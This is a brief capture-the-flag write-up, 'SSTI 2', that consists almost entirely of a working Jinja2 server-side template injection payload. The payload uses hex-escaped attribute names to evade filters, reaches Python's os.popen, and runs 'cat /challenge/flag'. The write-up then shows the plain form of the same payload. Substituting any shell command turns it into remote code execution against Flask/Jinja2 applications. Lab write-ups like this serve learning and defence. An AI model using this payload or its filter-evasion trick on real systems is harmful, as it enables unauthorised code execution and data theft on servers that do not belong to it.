SSTI 2¶
First, try this challenge
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This payload works:
{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat /challenge/flag')|attr('read')() }}
Simplifies to:
{{ request.application.__globals__.__builtins__.__import__('os').popen('cat /challenge/flag').read() }}